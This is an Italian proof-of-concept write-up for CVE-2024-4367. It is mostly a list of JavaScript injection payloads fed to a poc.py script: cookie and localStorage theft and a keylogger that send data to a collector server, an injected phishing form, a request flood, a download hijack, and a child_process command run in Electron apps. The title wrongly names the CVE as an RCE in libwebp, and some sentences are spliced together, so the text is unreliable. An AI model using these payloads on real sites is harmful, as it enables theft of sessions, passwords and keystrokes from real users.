
PoC (Proof of Concept) della CVE-2024-4367 - Vulnerabilità RCE in libwebp. Dimostrazione completa che include: creazione di payload, scenari di attacco, analisi dei rischi e server Express.js di test.
Un altro esempio di sfruttamento consiste nell'iniettare un semplice messaggio di avviso per verificare se l'attacco funziona.
python poc.py "alert('XSS exploit triggered');"
L'attacco XSS può essere utilizzato per rubare i cookie della vittima e inviarli a un server maligno.
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie).L'attaccante può rubare informazioni sensibili memorizzate nel localStorage della vittima, come dati di autenticazione o informazioni di sessione.
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage e li invia a un server maligno tramite una richiesta fetch.L'attaccante può reindirizzare la vittima verso un sito maligno per recuperare informazioni aggiuntive o caricare un altro exploit.
python poc.py "window.location.href='http://localhost:3000';"
Un altro tipo di attacco consiste nell'inondare un server con richieste, che può portare a un degrado delle prestazioni o a un'interruzione del servizio.
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
L'attaccante può intercettare le digitazioni della vittima, permettendogli di recuperare informazioni sensibili come password o identificativi.
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
Un attaccante può utilizzare XSS per iniettare un modulo di phishing in una pagina Web e così rubare informazioni sensibili (es.: password, nome utente).
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
Se l'utente fa clic su un pulsante di download, cambieremo la destinazione del download.
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
Le applicazioni basate su framework come Electron o NW.js possono anche essere soggette ad attacchi XSS, poiché consentono di integrare contenuti web in applicazioni desktop con accessi locali estesi.
Queste applicazioni, a causa delle loro autorizzazioni, possono permettere a un attaccante di accedere a file locali, eseguire processi esterni, o persino avviare altre applicazioni sulla macchina target (ad esempio, la calcolatrice, un editor di testo, ecc.). Ciò aumenta considerevolmente la superficie d'attacco, poiché queste applicazioni combinano la potenza del web con accessi di sistema più ampi.
Gli attacchi che sfruttano le CVE (Common Vulnerabilities and Exposures) possono permettere di realizzare vari tipi di attacchi XSS. Sfruttando vulnerabilità specifiche in applicazioni web o desktop, un attaccante può iniettare codice maligno, rubare informazioni sensibili, manipolare sessioni utente, o eseguire azioni dannose sul sistema target.